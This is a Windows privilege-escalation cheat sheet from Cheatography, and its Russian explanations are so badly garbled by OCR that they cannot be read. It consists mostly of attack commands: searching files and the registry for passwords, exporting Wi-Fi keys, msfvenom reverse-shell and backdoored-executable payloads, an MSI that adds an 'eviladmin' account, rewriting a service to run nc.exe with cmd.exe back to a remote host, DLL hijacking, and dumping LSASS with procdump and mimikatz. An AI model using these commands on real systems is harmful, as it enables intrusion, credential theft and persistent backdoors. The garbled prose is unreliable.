Cheatography

Clear-text passwords

Copep>xnmoe hainnos, B KOTOPbIX XPaHATCS Naponm ons
aBTOpa3BepTbiBaAHNS

C:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

C:\sysprep.inf - [Clear Text]

C:\sysprep\sysprep.xml - [Base64]

darinbl, KOTOpble TakXe MOryT cogepXartb Naponu B 3awWmMgpoBaHHOM
Buae B atpubyTe cpassword

group.xml

Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml

Drives\Drives.xml

DataSources\DataSources.xml

[Mownck pasnmyHbix goanios No Macke

C:\> dir /s *pass* == *cred* == *vnc* == *.config*

[Mownck password B TeKCTOBbIX ¢hannax

C:\> findstr /si password *.txt | *.xml | *.ini

C:\> findstr /si pass *.txt | *.xml | *.ini

Mownck password B peectpe

C:\> reg query HKLM /s | findstr /i password > temp.txt
C:\> reg query HKCU /s | findstr /i password > temp.txt
C:\> reg query HKLM /f password /t REG_SZ /s

C:\> reg query HKCU /f password /t REG_SZ /s
Maponb aBTONOrMHA

C:\> reg query "HKLM\Software\Microsoft\Windows
NT\Currentversion\Winlogon"

B Linux'e
$ psexec.py <user>@<host> <cmd>

M3 naketa Syslnternals
C:\> psexec.exe \\<host> <cmd>

CospaHue bind-wienna

$ msfvenom -p windows/shell_bind_tcp -f exe -o <Filename.exe>
LPORT=<BindPort>

$ msfvenom -p windows/shell_bind_tcp -f dll -o <Filename.dII>
LPORT=<BindPort>
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Ys13BMMOCTM NO nNaTtyam

MS07-022 - KB931784
MS07-066 - KB943078
MS08-064 - KB956841
MS09-058 - KB971486
MS10-015 - KB977165
MS10-021 - KB979683
MS10-059 - KB982799
MS10-092 - KB2305420
MS11-011 - KB2393802
MS11-080 - KB2592799
MS13-005 - KB2778930
CVE-2013-3660
MS12-078 - KB2783534
MS13-053 - KB2778930
MS13-081 - KB2870008
MS14-058 - KB3000061
MS14-068 - KB3011780
MS14-070 - KB2989935
MS15-001 - KB3023266
MS15-051 - KB3057191
MS15-052 - KB3050514
KiTrapOD - KB979682

Using accesschk.exe

ABTOMaTNYECKM NPUHATH MONb30BAaTENbCKOE COrNaleHne
C:\> accesschk.exe /accepteula

[Mownck pupekTopwWii C MpaBamMu Ha 3anncb

C:\> accesschk.exe -uwdqs MNonb3sosarenu C:\

C:\> accesschk.exe -uwdqs "Authenticated Users" C:\

[Mownck channos ¢ npasamut Ha 3anucb

C:\> accesschk.exe -uwgs Nonbsosarenm c:\*.*

C:\> accesschk.exe -uwgs "Authenticated Users" c:\*.*
C:\> cacls "c:\Program Files" /T | findstr Monb3oBatenu
lpaBa Ha KOHKPETHbIN CepBUC

C:\> accesschk.exe -ucqv [service_name]

Cnabble nNpasa Ha CepByChbI

C:\> accesschk.exe -uwcqv *

[MpaBa rpynnbl Ha 3anUcb y CEepBMCOB

C:\> accesschk.exe -uwcqv "Authenticated Users" *
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WMIC (Win XP requires admin)

YcTaHoBNEHHbIe NaTyn

C:\> wmic gfe get Caption,Description,HotFixID,InstalledOn

[Monck 13 ycTaHOBNEHHbIX MaTyel HyXHOro

C:\> wmic gfe get Caption,Description,HotFixID,InstalledOn | findstr
/C:"KB.." /C:"KB.."

Akcnnoutbl exploitdb

350, platforms/windows/local/350.c,"MS Windows 2000 Utility Manager
Privilege Elevation Exploit (MS04-019)",2004-07-14,"Cesar
Cerrudo",windows,local,0

351, platforms/windows/local/351.c,"MS Windows 2K POSIX Subsystem
Privilege Escalation Exploit (MS04-020)",2004-07-
17,bkbll,windows,local,0

1198, platforms/windows/local/1198.c,"MS Windows CSRSS Local
Privilege Escalation Exploit (MS05-018)",2005-09-
06,eyas,windows,local,0

1407 ,platforms/windows/local/1407.c,"MS Windows 2k Kernel APC Data-
Free Local Escalation Exploit (MS05-055)",2006-01-
05,SoBelt,windows,local,0

1911, platforms/windows/local/1911.¢,"MS Windows XP/2K (Mrxsmb.sys)
Privilege Escalation PoC (MS06-030)",2006-06-14,"Ruben Santamarta
",windows,local,0

2412 platforms/windows/local/2412.c,"MS Windows (Windows Kernel)
Privilege Escalation Exploit (MS06-049)",2006-09-
21,SoBelt,windows,local,0

3688, platforms/windows/local/3688.c,"MS Windows GDI Local Privilege
Escalation Exploit (MS07-017)",2007-04-08,lvanlefOu,windows,local,0
3755, platforms/windows/local/3755.c,"MS Windows GDI Local Privilege
Escalation Exploit (MS07-017) 2",2007-04-17,"Lionel
d'Hauenens",windows,local,0

3804, platforms/windows/remote/3804.txt,"MS Windows (.ANI) GDI
Remote Elevation of Privilege Exploit (MS07-017)",2007-04-26,"Lionel
d'Hauenens",windows,remote,0

5518, platforms/windows/local/5518.txt,"MS Windows XP SP2
(win32k.sys) Privilege Escalation Exploit (MS08-025)",2008-04-
28,"Ruben Santamarta ",windows,local,0

14611, platforms/windows/dos/14611.c,"Microsoft Windows
'SfnLOGONNOTIFY' Local Privilege Escalation Vulnerability
(MS10-048)",2010-08-10,MJ001 1,windows,dos,0

18176, platforms/windows/local/18176.py,"Windows Afd.sys - Privilege
Escalation Exploit (MS11-080)",2011-11-30,ryujin,windows,local,0

21844 platforms/windows/local/21844.rb,"MS11-080 AfdJoinLeaf Privilege
Escalation",2012-10-10,metasploit,windows,local,0

27296, platforms/windows/local/27296.rb,"MS13-005
HWND_BROADCAST Low to Medium Integrity Privilege
Escalation",2013-08-02,metasploit,windows,local,0

By Adisf

cheatography.com/adisf/

Not published yet.

Page 2 of 6.

Last updated 9th June, 2017.

Windows Privilege Escalation v0.1 Cheat Sheet
by Adisf via cheatography.com/37294/cs/12009/

Vulnerable EXE Permissions

Ecnu ecTb BocTyn Ha 3anncb K UCMONHAEMbIM cpaiinam, To MOXHO
NMOACYHYTb CBOW hain v npu 3anycke agMUHUCTPATOPOM 3TOro dpaiina
nonyyum wenn. MoxHo 06 beanHUTb NCMONHSEMBIA (DAl C Harpy3Kom ¢
roMmoLbio MeTacnnomTa.

msf> msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e
x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

PowerSploit

https://github.com/PowerShellMafia/PowerSploit

A To4Hee ckpunT
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Get-ServiceUnquoted HaineT Bce cepBuchl 63 kaBbl4ek 1 ¢
npobenamu B MOMHOM NyTe

Get-ServicePerms nepeuncnut Bce cepsuchl, Ha MOAVOUKALIMIO
KOTOPbIX UMEeT NpaBo TeKyLMii NoNb3oBaTeNb
Get-ServiceEXEPerms nposeput Bce ncnonHsemble daiiibl CepB1MCcOB
1 BEPHET (haiinibl, Ha KOTOpble MONb30BaTENb MEET NPABO Ha 3anuchb
Invoke-ServiceUserAdd BknioyaeT/ocTaHaBnMBaeT CEPBUC,
PeKoHUrypupyeT ero, no6aBsis ¢ ero NOMOLLbIO 10KaNbHOro
nonb3oBatens n Lo6aBNsis ero B rpynny adMMHUCTPATOPOB, pecTapTyeTt
N T.4.

Write-UserAddServiceBinary cosnaet ckomnunupoBaHHblii C#
6VHapHWK 1 BUHAPHbIA NaTy, LO6aBNSOWWIA MONb30BATENS.
Write-ServiceEXE 3anvcbiBaeT 61HapHUK B yKa3aHHbIV NyTb cepauca n
BO3BpaLlaeT OpUrMHanbHble .exe

Invoke-FindDLLHijack siBnsietcs noptuposaHHoi Bepcuert Mandiant's
FindDLLHijack. [MpoBepsieT BCe 3anyLeHHbIe NPOLECChl U KX
3arpy>XeHHble Mogynu 1 Bo3spaulaet Bce hijackable-nyTu, T.e. nyTb K exe
1 MOy /b, KOTOPbIX HE CyLlECTBYET.

Invoke-FindPathDLLHijack vwet noteHumansHo hijackable cnyx6bi.
DLL nytu us %PATH%. MoapobHee
http://www.greyhathacker.net/?p=738

Get-RegAlwaysinstallElevated nposepsieT BkntoyeH nu ko4 peectpa
AlwaysinstallElevated

Write-UserAddMSI moxeT 3atem co3gate MSI, koTopblii fo6aBuT
nonb3oBaTens ¢ aaMVHCKUMM NpaBamu

Get-UnattendedInstallFiles nouck ¢paiinos aBTomMatnyeckoi
ycTaHoBKYM .Xml, KOTOpble MOTyT coaepXaTtb Kakme-1mbo yyeTHble
DaHHble

Get-RegAutoLogon n3Bsnekaet gaHHble aBTONOrMHA U3 peecTpa
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PowerSploit (cont)

Invoke-AllChecks 3anycTut Bce NpoBepKyW Ha MOBbIWEHNE NPUBUNETNIA

Insecure Registry Permissions

OwubKkM B NpaBax Ha BETKW PEecTpa TOXe MOryT NMOMOYb MOBbICUTb
npusMneruu, Ans NPoBepKK ncnonbayetcst nporpamma SublnACL

C:\> subinacl.exe /keyreg
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulne
rable Service" /display

Ecnu MoxeM nsmMeHsiTb KNtoy peecTpa, TO BbiMOHNM

C:\> reg add
"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable
Service" /t REG_EXPAND_SZ /v ImagePath /d
"C:\Users\testuser\AppData\Local\Temp\Payload.exe" /f

DLL Hijacking

CraTtbs, KoTopas XOpoLWo ONUCbIBAET AaHHYHO YSI3BMMOCTb

*When an application dynamically loads a dynamic-link library without
specifying a fully qualified path name, Windows attempts to locate the DLL
by searching a well-defined set of directories in a particular order, as
described in Dynamic-Link Library Search Order. If an attacker gains
control of one of the directories on the DLL search path, it can place a
malicious copy of the DLL in that directory. This is sometimes called a DLL
preloading attack or a binary planting attack. If the system does not find a
legitimate copy of the DLL before it searches the compromised directory, it
loads the malicious DLL. If the application is running with administrator
privileges, the attacker may succeed in local privilege elevation.*.
[Mopsnok npoBepky cnenyowuii

1) OdupekTopus, n3 KOTOPOM 3anylleHo NPUNoXeHue.

2) CuctemHas ampekTopus ans 32-6MTHbIX NPUNOXEHUI
(C:\Windows\System32).

3) CuctemHas ampekTopus ans 16-6MTHbIX NPUNOXEHUI
(C:\Windows\System).

4) Manka C:\Windows.

5) Tekywas nanka.

6) IupekTopum, ykazaHHble B MepeMeHHON oKpyXeHust PATH.

[lns skcnnyaraumm Ham Ha[o HaMTW OMPEKTOPUIO OTKY A 3arpyxXaeTcs
DLL v noacyHyTb CBOKO YPOBHEM BbllLe.

Tak Kak Mbl HE MOXeM BULETb Kakme 6ubnmoTekn NoarpyxatTcs,
ckaumBaeM cebe NCMosHSAeMbIi haiin 1 aHanuanpyem ero. Hac
nHTepecyeTt LoadLibraryW
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DLL Hijacking (cont)

[MpoaHanuanpoBaTb MOXHO € NomolLLbio ProcMon ¢ ycTaHoBNEeHHbIMK
ounbTpamm

ProcessName is Vulnerable.exe

Result is NAME NOT FOUND

Path ends with .dll

Tenepb HY>XHO HaTK Narky ¢ npasamy Ha 3anucb. 4acTo B KOpHe aucka
C: ycTaHoB/IEHbl NPOrpammbl, K KOTOPbIM UMEIOT JOCTYM
ayTeHTUdULMPOBaHHbIe Monb3osartenu (python27)

[MpoBepum npasa

C:\> accesschk.exe -dqv "C:\Python27"

C:\> icacls C:\Python27

AyTeHTUULMPOBaHHbIE MONb30BATENN UMEIOT Npaea Ha MoANdUKaLIMIO
Co3pnanmm NpocTon pesepc-wenn

root@kali~# msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=192.168.2.60 Iport=8989 -f dll > hijackable.dll

3arpyaum

meterpreter> upload -f hijackable.dll

Ckonupyem Haw DLL B nanky ¢ python27

C:\> copy hijackable.dll C:\Python27\wlbsctrl.dll

Mpouecc IKEEXT (“IKE and AuthlP IPsec Keying Modules”) nbitaetcs
3arpy3utb wlibsctrl.dll, kKoTopbIi OTCYTCTBYET B KOH(UIypaLUn CUCTEMbI
no-ymonyanutio (Vista, 2008, 7, 8), a Tak kak nanka C:\python27 umeetcs
B PATH, To ata 6ubnuoteka byaet noarpy>xeHa npv 3anycke aTtoro
cepsuca (nocne nepesarpysku CUCTEMbI)

C:\> sc qc IKEEXT

Ccbinku

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://xakep.ru/2014/12/24/hack-admin-rules/
http://www.fuzzysecurity.com/tutorials/16.html
http://www.fuzzysecurity.com/tutorials/18.html
http://www.greyhathacker.net/?p=738

Metasploit

Mo>HO 0CTaBUTb B CUCTEME CBOM CEPTUMKAT YTOOBI MpY NepexasaTax
Tpadguka unu npu 3anycke HEKOTOPbIX MPUI0XEHWIA C MPOBEPKONA
n3patenst He BbIXOAMUO NpeaynpeX AeHuiA
post/windows/manage/inject_ca
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C60p uHcpopmauum

MHdopmauus o cucteme

C:\> systeminfo

Tekylwmii nonb3oBateb

C:\> echo %username%

C:\> whoami

Crnucok nonb3oeatenei

C:\> net users

C:\> net user

WHhopmauwst o nonb3osarene
C:\> net user "%username%"
Cniicok rpynn

C:\> net localgroup

Bepcus OC

C:\> ver

YcTtaHoBneHHble gparisepa
C:\> DRIVERQUERY

Windows Privilege Escalation v0.1 Cheat Sheet
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YnpasneHue cepBucamm

CospaHue 1 3anyck cepsuca

C:\> sc create <servicename) binpath=
"c:\windows\system32\cmd.exe /k <pathtobinaryexecutable>"
DisplayName= <displayname>

C:\> sc start <servicename)

BbiBoA crivcka Bcex cnyk6, HaCTPOEHHbIX Ha KOMMbloTEPE
C:\> sc query

HacTtpoiika y4eTHbIx 3anucei peructpaumy n 3anycka cnyxe6
C:\> sc config

OTobpaxeHne KOHpUrypaumm onpeneneHHomn cyxobl

C:\> sc qc [service_name]

3apaun no pacnmcaHuio

C:\> schtasks /query /fo LIST /v

3anyLeHHbIe NPOLIECChI B 3aMyLeHHbIX Cryx6ax

C:\> tasklist /SVC

C:\> net start

WHdopmaLums o cetn

CeTeBble aganTepbl

C:\> ipconfig /all

MapuwpyTbl

C:\> route print

ARP-Tabnuua

C:\> arp-A

CeTeBble coeavHeHus ¢ PID

C:\> netstat -ano

CeTeBble COEMHEHNS C UMEHEM MnpoLiecca
C:\> netstat -anb - TpebyeT noBbIWEHMS
®daepson (Tonbko Win XP SP2+)

C:\> netsh firewall show state

C:\> netsh firewall show config

Maponb Wi-Fi

C:\> netsh wlan export profile key=clear

Komnunsums ¢ nomoubo wine

$ cp /usr/share/exploitdb/platforms/windows/local/<exploit>.c /tmp/
$ cd /root/.wine/drive_c/MinGW/bin

$ wine gcc -o w0Ot.exe /tmp/<exploit>.c -l lib
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Akcnnoutbl B Metasploit

exploit/windows/local/always _install_elevated - excellent Windows
AlwayslInstallElevated MSI

exploit/windows/local/bypassuac_injection - excellent Windows Escalate
UAC Protection Bypass (In Memory Injection)
exploit/windows/local/ms10_015_kitrap0d - great Windows SYSTEM
Escalation via KiTrapOD

exploit/windows/local/ms10_092_schelevator - excellent Windows
Escalate Task Scheduler XML Privilege Escalation
exploit/windows/local/ms11_080_afdjoinleaf - average MS11-080
AfdJoinLeaf Privilege Escalation
exploit/windows/local/ms13_005_hwnd_broadcast - excellent MS13-005
HWND_BROADCAST Low to Medium Integrity Privilege Escalation
exploit/windows/local/ms13_053_schlamperei - average Windows
NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
exploit/windows/local/ms13_081_track_popup_menu - average Windows
TrackPopupMenuEx Win32k NULL Page
exploit/windows/local/ms13_097_ie_registry_symlink - great MS13-097
Registry Symlink IE Sandbox Escape
exploit/windows/local/ms14_009_ie_dfsvc - great MS14-009 .NET
Deployment Service |E Sandbox Escape
exploit/windows/local/ms_ndproxy - average MS14-002 Microsoft
Windows ndproxy.sys Local Privilege Escalation
exploit/windows/local/ppr_flatten_rec - average Windows
EPATHOBJ::pprFlattenRec Local Privilege Escalation
exploit/windows/local/trusted_service_path - excellent Windows Service
Trusted Path Privilege Escalation
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Skcnnoutbl B Metasploit (cont)

exploit/windows/local/virtual_box_guest_additions - average VirtualBox
Guest Additions VBoxGuest.sys Privilege Escalation
post/windows/escalate - Also look at these post exploitation modules...

Trusted Path Escalation

Ecnu nyTb ykasaH 6e3 kaBbliek U COAepXUT Npoben, To 3TUM MOXKHO
BOCMOJ1b30BATbCS.

Hanpumep, nytb C:\Tools\Custom Tools\program.exe moxet
nHTepnpeTmpoBaTbes kak C:\Tools\Custom.exe c napameTpom
Tools\program.exe

Vimesi npaBa Ha 3anuck B C:\Tools Mbl MOXeM co3natb dain
C:\Tools\Custom.exe, KOTOpbI 1 6yneT BbINONHEH

Moaynb meTacnnomTa: trusted_service_path

Mowck ¢ nomouwbio WMIC

C:\> wmic service get name,displayname,pathname,startmode
|findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
[Mopsinok BbINOMHEHWS, KOTOPbIV MPOBEPSIET CUCTEMA

C:\Program.exe

C:\Program Files.exe

C:\Program Files (x86)\Program.exe

C:\Program Files (x86)\Program Folder\A.exe

C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
MpoBepuTb NpaBa Ha nanky

C:\> icacls "C:\Program Files (x86)\Program Folder"

VHTepecytolme npasa

F = Full Control

Cl = Container Inherit — 03Ha4yaeT YTO BCe KOHTENHEPbI HACNEAYIOT 3TOT
donar.

Ol = Object Inherit — Bce dpaiinbl HacnenyoT 3TOT chnar

[Mpu 3anycke cepsBuca OH MOYTK Cpasdy yMMpaeT, Tak Kak npu 3anycke oH
nonxeH obwartbces ¢ Service Control Manager, a Tak kak SCM He
nonyyaeT AaHblX, TO CYUTAET YTO YTO-TO He Tak 1 ybusaeT npoLecc,
NMO3TOMY HaAo0 Kak TONbKO MOJy4n/MN CECCUI0 MATPUPOBAaThL meterpreter Ha
Opyrou npowecc.

Vulnerable Service Permission

MpoBepsiemM MMeeT N1 Tekywwuii NoNb3oBaTeNb nNpaea Ha
penakTupoBaHue cepeuca. PenakTupyem nyTb K UCMONHSIEMOMY chaiiny
cepBuca Ha koMaHmy nobaBneHUs Nonb3oBaTenNst U Ha CBOW Wen.

Windows Privilege Escalation v0.1 Cheat Sheet
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Vulnerable Service Permission (cont)

Mo>Ho npoBepuTb ¢ nomolubto accesschk.exe n SC

Mpumep (SSDPSRYV B win xp sp0-1)

sc config [service_name] binpath= "C:\nc.exe -nv [RHOST] [RPORT] -
e C:\WINDOWS\System32\cmd.exe"

sc config [service_name] obj= ".\LocalSystem" password=""
sc qc [service_name] (to verify!)

net start [service_name]

Moaynb MeTacnnonTa: service_permissions

HekoTopble N3BECTHbIE YSI3BMMbIE CEPBUCHI

Windows XP with sp2

* - As Power User:

* service: DcomLaunch ( SYSTEM )

* Service: UpnpHost ( Local Service )

* Service: SSDPSRV (Local Service)

* Service: WMI (SYSTEM) <- sometimes as user also..

* - As User:

* Service: UpnpHost ( Local Service )

* Service: SSDPSRV (Local Service)

* - As Network Config Operators:

* service: DcomLaunch ( SYSTEM )

* Service: UpnpHost ( Local Service )

* Service: SSDPSRYV (Local Service)

* Service: DHCP ( SYSTEM )

* Service: NetBT (SYSTEM - .sys driver)

* Service DnsCache (SYSTEM)

Windows 2000

* - As Power user

* service: WMI (SYSTEM)

Third Part software (local & remote code execution)

* Service: [Pml Driver HPZ12] (HP Software -
C:\WINNT\system32\spool\DRIVERS\W32X86\3\HPZipm12.exe)
* -Granted Full Control to Everyone Group.

* Service: [Autodesk Licensing Service] (Autocad - C:\program
files\Common files\Autodesk Shared\Service\AdskScSrv.exe)
*-Maybe related to: http://www.securityfocus.com/bid/16472

* -Autodesk Multiple Products Remote Unauthorized Access Vulnerability
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AlwaysinstallElevated

Hac nHTepecyioT kntoym
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installe
]

“AlwayslnstallElevated”’=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installe
]

“AlwayslnstallElevated”=dword:00000001

KOTOpble NO3BONSIHOT NO6OMY YCTAHOBMUTL MSi C NOBbILEHHBIMY
NpUBMNErNSMM

C:\> reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwayslnstallElevated

C:\> reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysinstallElevated

Ecnu BbiigeT ownbka, To NOAMTUKA OTKIOYEHA, HO eCNM YCTaHOB/EH
napameTp, TO Mbl MOXEM 3TO UCMO/b30BaTb

root@kali:~# msfvenom -f msi-nouac -p windows/adduser
USER=eviladmin PASS=P4ssw0rd@ -o add_user.msi

Wnu 6e3 nobasneHns nonb3oBarens

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -0
Payload.exe

root@kali:~# msfvenom -f msi-nouac -p windows/exec
cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" >

malicious.msi

Privilege Escalation with Task Scheduler

PabotaeTt Tonbko Ha Windows 2000, XP, unu 2003. B aTux cuctemax
3a4a4v Mo pacrnmcaHuio BbIMOHATCS C CUCTEMHbIMU MpaBamu.
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -0
Payload.exe

C:\> net start "Task Scheduler"

C:\> at 06:42 /interactive "C:\Documents and Settings\test\Local
Settings\Temp\Payload.exe"

YTunuta schtasks nossonsiet Bewartb 3anayv Ha onpeneneHHble
cobbiTusi. Hanbonee uHtepecHble anst Hac — ONIDLE, ONLOGON un
ONSTART

Removed autorun programms

OueHb YacTo cnyyaeTcs, YTO CUCTeMa XPaHUT 3anuchb O goaine, KoTopbIi
Ha[o aBTOMATUYECKM 3amycTuTb, Aaxe Mnocne Toro, Kak cam gamn yxe
kaHyn B Jlety. MoxeT, Kakoin-10 cepBuC Obi1 HEKOPPEKTHO yAaneH —
MCMOJHSEMOr0 dhaiina HeT, a 3anncb B PEECTPe ocTanach, U npu
KaxAoM 3arnycke cuctema 6e3ycrnellHo nbiTaeTcs ero crapTaHyTh,
3a6uBas XypHan cobblTuii COOBLWEHUSMI O doenax.
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Removed autorun programms (cont)

ST0l cUTyaumern TakXe MOXXHO BOCMONb30BATLCS OIS pacMpeHns
CBOUX NMOMHOMOYWIA. [epBbIM LeNOM HAaLo HaWTK BCe Takne
ocupoTeBLwMe 3anucu. Hanpumep, npy NoMoLWmM yTUAKTbI autorunsc ot
Sysinternals.. C:\> autorunsc.exe -a | findstr /n /R "File\ not\ found"

Mimikatz n procdump

CHavana nonyyum gamn npouecca LSASS. MoxHo aT10 coenatb ¢
nomoubto mimikatz, Ho ¢ ProcDump MoxHo He 6ecrnokouTbes o
npenynpexXneHnsix aHTUBMPYCOB

C:\> procdump.exe -accepteula -ma Isass.exe Isass.dmp

[Mocne nony4yeHns namna MoXHO CKOpMUTL ero mimikatz n nony4nTb
naponu

C:\Mimikatz\x32> mimikatz.exe

mimikatz# sekurlsa::minidump C:\Users\Fubar\Desktop\lsass.dmp
mimikatz# sekurlsa::tspkg

Takum 06pa3oM MOXKHO MOYYNTb NAPONY NONb30BATENEN, KOTOPbIE
He[aBHO aBTOPU30BbLIBANNCH

HekoTopble BO3MOXHOCTM mimikatz

wdigest (naponu AD)

kerberos (xawun LM/NTLM)

oss (naponu Outlook)

livessp (windows 8 naposb)

msv (naponb AD)

tspkg (naponb AD)

PowerShell

AD DNS-zone transfer

PS C:\> Get-WmiObject -ComputerName dc1 -Namespace
root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter
"domainname=uriit.local" | select textrepresentation
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